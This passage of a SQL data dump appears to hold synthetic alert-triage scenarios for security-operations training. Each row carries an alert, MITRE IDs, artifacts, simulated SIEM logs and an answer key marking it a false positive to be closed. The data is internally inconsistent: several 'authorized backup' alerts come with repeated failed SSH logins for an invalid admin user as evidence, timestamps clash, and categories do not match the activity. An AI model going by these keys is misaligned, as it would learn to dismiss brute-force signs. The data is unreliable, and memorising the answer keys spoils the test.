ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T08:30:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.5\\\",\\\"dst_ip\\\":\\\"10.0.0.10\\\",\\\"username\\\":\\\"backup_admin\\\",\\\"hostname\\\":\\\"backup-server\\\",\\\"command_line\\\":\\\"backup --incremental --servers 10.0.0.10\\\"}\"},{\"timestamp\":\"2026-03-16T03:04:28.293Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T08:30:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.5\\\",\\\"dst_ip\\\":\\\"10.0.0.10\\\",\\\"username\\\":\\\"backup_admin\\\",\\\"hostname\\\":\\\"backup-server\\\",\\\"command_line\\\":\\\"backup --incremental --servers 10.0.0.10\\\"}\"},{\"timestamp\":\"2026-03-16T03:03:28.293Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T08:30:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.5\\\",\\\"dst_ip\\\":\\\"10.0.0.10\\\",\\\"username\\\":\\\"backup_admin\\\",\\\"hostname\\\":\\\"backup-server\\\",\\\"command_line\\\":\\\"backup --incremental --servers 10.0.0.10\\\"}\"},{\"timestamp\":\"2026-03-16T03:02:28.293Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T08:30:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.5\\\",\\\"dst_ip\\\":\\\"10.0.0.10\\\",\\\"username\\\":\\\"backup_admin\\\",\\\"hostname\\\":\\\"backup-server\\\",\\\"command_line\\\":\\\"backup --incremental --servers 10.0.0.10\\\"}\"},{\"timestamp\":\"2026-03-16T03:01:28.293Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T08:30:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.5\\\",\\\"dst_ip\\\":\\\"10.0.0.10\\\",\\\"username\\\":\\\"backup_admin\\\",\\\"hostname\\\":\\\"backup-server\\\",\\\"command_line\\\":\\\"backup --incremental --servers 10.0.0.10\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(1786, 'Routine IT Vulnerability Scanning Detected', 'low', 'Splunk', 'A series of network scans were detected originating from an internal IT department system. The scans are part of routine vulnerability assessments scheduled by the IT team.', 'Network Scanning', 'T1046', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T09:15:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.50\",\"dst_ip\":\"192.168.1.100\",\"username\":\"it_admin\",\"hostname\":\"vulnscan01\",\"command_line\":\"nmap -A 192.168.1.100\"}', '2026-03-16 03:01:08', '2026-03-16 03:05:28', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.50\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address used by IT department for scanning\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.100\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal target IP for routine scanning\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"nmap -A 192.168.1.100\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Routine scanning command executed by IT department\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"network_scanning\",\"analysis_notes\":\"This alert was triggered by legitimate IT vulnerability scanning activity.\"}', 'Intermediate', 'SIEM', 5, 1, 'TECH', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-16T03:05:28.294Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T09:15:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.50\\\",\\\"dst_ip\\\":\\\"192.168.1.100\\\",\\\"username\\\":\\\"it_admin\\\",\\\"hostname\\\":\\\"vulnscan01\\\",\\\"command_line\\\":\\\"nmap -A 192.168.1.100\\\"}\"},{\"timestamp\":\"2026-03-16T03:04:28.294Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T09:15:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.50\\\",\\\"dst_ip\\\":\\\"192.168.1.100\\\",\\\"username\\\":\\\"it_admin\\\",\\\"hostname\\\":\\\"vulnscan01\\\",\\\"command_line\\\":\\\"nmap -A 192.168.1.100\\\"}\"},{\"timestamp\":\"2026-03-16T03:03:28.294Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T09:15:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.50\\\",\\\"dst_ip\\\":\\\"192.168.1.100\\\",\\\"username\\\":\\\"it_admin\\\",\\\"hostname\\\":\\\"vulnscan01\\\",\\\"command_line\\\":\\\"nmap -A 192.168.1.100\\\"}\"},{\"timestamp\":\"2026-03-16T03:02:28.294Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T09:15:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.50\\\",\\\"dst_ip\\\":\\\"192.168.1.100\\\",\\\"username\\\":\\\"it_admin\\\",\\\"hostname\\\":\\\"vulnscan01\\\",\\\"command_line\\\":\\\"nmap -A 192.168.1.100\\\"}\"},{\"timestamp\":\"2026-03-16T03:01:28.294Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T09:15:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.50\\\",\\\"dst_ip\\\":\\\"192.168.1.100\\\",\\\"username\\\":\\\"it_admin\\\",\\\"hostname\\\":\\\"vulnscan01\\\",\\\"command_line\\\":\\\"nmap -A 192.168.1.100\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1787, 'Authorized Backup Process Detected', 'low', 'Wazuh', 'An authorized backup process was detected on the server, initiated by a recognized administrative account. This aligns with scheduled backup operations.', 'Data Transfer', 'T1030', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T11:00:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.0.0.10\",\"dst_ip\":\"10.0.0.15\",\"username\":\"backup_admin\",\"hostname\":\"backup01\",\"command_line\":\"rsync -avz /data/backup/ 10.0.0.15:/mnt/backup/\"}', '2026-03-16 03:01:08', '2026-03-16 03:05:28', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.10\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP of the server initiating the backup\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal backup server IP\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"rsync -avz /data/backup/ 10.0.0.15:/mnt/backup/\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Legitimate backup command executed by admin\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"data_transfer\",\"analysis_notes\":\"This alert corresponds to a scheduled backup process, which is normal and expected.\"}', 'Intermediate', 'SIEM', 5, 1, 'FINANCE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-16T03:05:28.297Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T11:00:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.10\\\",\\\"dst_ip\\\":\\\"10.0.0.15\\\",\\\"username\\\":\\\"backup_admin\\\",\\\"hostname\\\":\\\"backup01\\\",\\\"command_line\\\":\\\"rsync -avz /data/backup/ 10.0.0.15:/mnt/backup/\\\"}\"},{\"timestamp\":\"2026-03-16T03:04:28.297Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T11:00:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.10\\\",\\\"dst_ip\\\":\\\"10.0.0.15\\\",\\\"username\\\":\\\"backup_admin\\\",\\\"hostname\\\":\\\"backup01\\\",\\\"command_line\\\":\\\"rsync -avz /data/backup/ 10.0.0.15:/mnt/backup/\\\"}\"},{\"timestamp\":\"2026-03-16T03:03:28.297Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T11:00:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.10\\\",\\\"dst_ip\\\":\\\"10.0.0.15\\\",\\\"username\\\":\\\"backup_admin\\\",\\\"hostname\\\":\\\"backup01\\\",\\\"command_line\\\":\\\"rsync -avz /data/backup/ 10.0.0.15:/mnt/backup/\\\"}\"},{\"timestamp\":\"2026-03-16T03:02:28.297Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T11:00:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.10\\\",\\\"dst_ip\\\":\\\"10.0.0.15\\\",\\\"username\\\":\\\"backup_admin\\\",\\\"hostname\\\":\\\"backup01\\\",\\\"command_line\\\":\\\"rsync -avz /data/backup/ 10.0.0.15:/mnt/backup/\\\"}\"},{\"timestamp\":\"2026-03-16T03:01:28.297Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T11:00:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.10\\\",\\\"dst_ip\\\":\\\"10.0.0.15\\\",\\\"username\\\":\\\"backup_admin\\\",\\\"hostname\\\":\\\"backup01\\\",\\\"command_line\\\":\\\"rsync -avz /data/backup/ 10.0.0.15:/mnt/backup/\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(1788, 'Routine IT Vulnerability Scanning Detected', 'low', 'Splunk', 'A series of network scanning activities originating from an internal IP was detected. This is consistent with scheduled vulnerability assessments conducted by the IT department.', 'Lateral Movement', 'T1046', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T03:15:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.5\",\"dst_ip\":\"192.168.1.10\",\"username\":\"admin_user\",\"hostname\":\"scanner01\",\"command_line\":\"nmap -sS -p 1-65535 192.168.1.10\"}', '2026-03-16 03:01:08', '2026-03-16 03:05:28', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.5\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Internal network scanning from authorized IT tools.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"This activity matches the profile of routine IT vulnerability scanning and is corroborated by the use of known internal tools.\"}', 'Intermediate', 'SIEM', 5, 1, 'TECH', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-16T03:05:28.298Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T03:15:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.5\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"admin_user\\\",\\\"hostname\\\":\\\"scanner01\\\",\\\"command_line\\\":\\\"nmap -sS -p 1-65535 192.168.1.10\\\"}\"},{\"timestamp\":\"2026-03-16T03:04:28.298Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T03:15:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.5\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"admin_user\\\",\\\"hostname\\\":\\\"scanner01\\\",\\\"command_line\\\":\\\"nmap -sS -p 1-65535 192.168.1.10\\\"}\"},{\"timestamp\":\"2026-03-16T03:03:28.298Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T03:15:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.5\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"admin_user\\\",\\\"hostname\\\":\\\"scanner01\\\",\\\"command_line\\\":\\\"nmap -sS -p 1-65535 192.168.1.10\\\"}\"},{\"timestamp\":\"2026-03-16T03:02:28.298Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T03:15:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.5\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"admin_user\\\",\\\"hostname\\\":\\\"scanner01\\\",\\\"command_line\\\":\\\"nmap -sS -p 1-65535 192.168.1.10\\\"}\"},{\"timestamp\":\"2026-03-16T03:01:28.298Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T03:15:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.5\\\",\\\"dst_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"admin_user\\\",\\\"hostname\\\":\\\"scanner01\\\",\\\"command_line\\\":\\\"nmap -sS -p 1-65535 192.168.1.10\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1789, 'Suspicious System Health Check Activity', 'low', 'Elastic SIEM', 'Detected multiple system health checks from a known internal IP. Checks are part of regular system maintenance operations.', 'Execution', 'T1053', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T05:45:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.0.0.15\",\"dst_ip\":\"10.0.0.20\",\"username\":\"sys_maint\",\"hostname\":\"healthcheck_server\",\"command_line\":\"healthcheck_tool --run-full-scan\"}', '2026-03-16 03:01:08', '2026-03-16 03:05:28', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.15\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP involved in regular system maintenance checks.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"execution\",\"analysis_notes\":\"The detected process is a legitimate system health check routinely performed by the IT department.\"}', 'Intermediate', 'SIEM', 5, 1, 'FINANCE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-16T03:05:28.300Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T05:45:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.15\\\",\\\"dst_ip\\\":\\\"10.0.0.20\\\",\\\"username\\\":\\\"sys_maint\\\",\\\"hostname\\\":\\\"healthcheck_server\\\",\\\"command_line\\\":\\\"healthcheck_tool --run-full-scan\\\"}\"},{\"timestamp\":\"2026-03-16T03:04:28.300Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T05:45:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.15\\\",\\\"dst_ip\\\":\\\"10.0.0.20\\\",\\\"username\\\":\\\"sys_maint\\\",\\\"hostname\\\":\\\"healthcheck_server\\\",\\\"command_line\\\":\\\"healthcheck_tool --run-full-scan\\\"}\"},{\"timestamp\":\"2026-03-16T03:03:28.300Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T05:45:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.15\\\",\\\"dst_ip\\\":\\\"10.0.0.20\\\",\\\"username\\\":\\\"sys_maint\\\",\\\"hostname\\\":\\\"healthcheck_server\\\",\\\"command_line\\\":\\\"healthcheck_tool --run-full-scan\\\"}\"},{\"timestamp\":\"2026-03-16T03:02:28.300Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T05:45:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.15\\\",\\\"dst_ip\\\":\\\"10.0.0.20\\\",\\\"username\\\":\\\"sys_maint\\\",\\\"hostname\\\":\\\"healthcheck_server\\\",\\\"command_line\\\":\\\"healthcheck_tool --run-full-scan\\\"}\"},{\"timestamp\":\"2026-03-16T03:01:28.300Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T05:45:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.15\\\",\\\"dst_ip\\\":\\\"10.0.0.20\\\",\\\"username\\\":\\\"sys_maint\\\",\\\"hostname\\\":\\\"healthcheck_server\\\",\\\"command_line\\\":\\\"healthcheck_tool --run-full-scan\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1790, 'Authorized Administrative Backup Activity', 'low', 'Wazuh', 'An administrative backup process was executed from a known internal server. This is part of scheduled backup operations.', 'Persistence', 'T1059', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T02:00:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.2.50\",\"dst_ip\":\"192.168.2.100\",\"username\":\"backup_admin\",\"hostname\":\"backup_server\",\"command_line\":\"backup_tool --full-backup --target 192.168.2.100\"}', '2026-03-16 03:01:08', '2026-03-16 03:05:28', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.2.50\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"IP involved in authorized backup operations.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"persistence\",\"analysis_notes\":\"The log indicates a scheduled backup process performed by an authorized admin, hence classified as a false positive.\"}', 'Intermediate', 'SIEM', 5, 1, 'HEALTHCARE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-16T03:05:28.301Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T02:00:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.2.50\\\",\\\"dst_ip\\\":\\\"192.168.2.100\\\",\\\"username\\\":\\\"backup_admin\\\",\\\"hostname\\\":\\\"backup_server\\\",\\\"command_line\\\":\\\"backup_tool --full-backup --target 192.168.2.100\\\"}\"},{\"timestamp\":\"2026-03-16T03:04:28.301Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T02:00:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.2.50\\\",\\\"dst_ip\\\":\\\"192.168.2.100\\\",\\\"username\\\":\\\"backup_admin\\\",\\\"hostname\\\":\\\"backup_server\\\",\\\"command_line\\\":\\\"backup_tool --full-backup --target 192.168.2.100\\\"}\"},{\"timestamp\":\"2026-03-16T03:03:28.301Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T02:00:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.2.50\\\",\\\"dst_ip\\\":\\\"192.168.2.100\\\",\\\"username\\\":\\\"backup_admin\\\",\\\"hostname\\\":\\\"backup_server\\\",\\\"command_line\\\":\\\"backup_tool --full-backup --target 192.168.2.100\\\"}\"},{\"timestamp\":\"2026-03-16T03:02:28.301Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T02:00:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.2.50\\\",\\\"dst_ip\\\":\\\"192.168.2.100\\\",\\\"username\\\":\\\"backup_admin\\\",\\\"hostname\\\":\\\"backup_server\\\",\\\"command_line\\\":\\\"backup_tool --full-backup --target 192.168.2.100\\\"}\"},{\"timestamp\":\"2026-03-16T03:01:28.301Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T02:00:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.2.50\\\",\\\"dst_ip\\\":\\\"192.168.2.100\\\",\\\"username\\\":\\\"backup_admin\\\",\\\"hostname\\\":\\\"backup_server\\\",\\\"command_line\\\":\\\"backup_tool --full-backup --target 192.168.2.100\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(1791, 'Legacy Application Misconfiguration Detected', 'medium', 'Azure Sentinel', 'A legacy application attempted to access network resources using outdated protocols. This behavior is consistent with known application misconfiguration.', 'Initial Access', 'T1078', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T08:30:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.3.75\",\"dst_ip\":\"192.168.3.80\",\"username\":\"legacy_app\",\"hostname\":\"legacy_server\",\"command_line\":\"connect --protocol old_protocol --dst 192.168.3.80\"}', '2026-03-16 03:01:08', '2026-03-16 03:05:28', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.3.75\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Legacy application accessing internal resources with known outdated protocols.\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"initial_access\",\"analysis_notes\":\"This alert is triggered by a known application misconfiguration and does not represent unauthorized access.\"}', 'Intermediate', 'SIEM', 5, 1, 'RETAIL', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-16T03:05:28.302Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T08:30:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.3.75\\\",\\\"dst_ip\\\":\\\"192.168.3.80\\\",\\\"username\\\":\\\"legacy_app\\\",\\\"hostname\\\":\\\"legacy_server\\\",\\\"command_line\\\":\\\"connect --protocol old_protocol --dst 192.168.3.80\\\"}\"},{\"timestamp\":\"2026-03-16T03:04:28.302Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T08:30:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.3.75\\\",\\\"dst_ip\\\":\\\"192.168.3.80\\\",\\\"username\\\":\\\"legacy_app\\\",\\\"hostname\\\":\\\"legacy_server\\\",\\\"command_line\\\":\\\"connect --protocol old_protocol --dst 192.168.3.80\\\"}\"},{\"timestamp\":\"2026-03-16T03:03:28.302Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-16T08:30:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.3.75\\\",\\\"dst_ip\\\":\\\"192.168.3.80\\\",\\\"username\\\":\\\"legacy_app\\\",\\\"hostname\\\":\\\"legacy_server\\\",\\\"command_line\\\":\\\"connect --protocol old_protocol --dst 192.168.3.80\\\"}\"},{\"timestamp\":\"2026-03-16T03:02:28.302Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 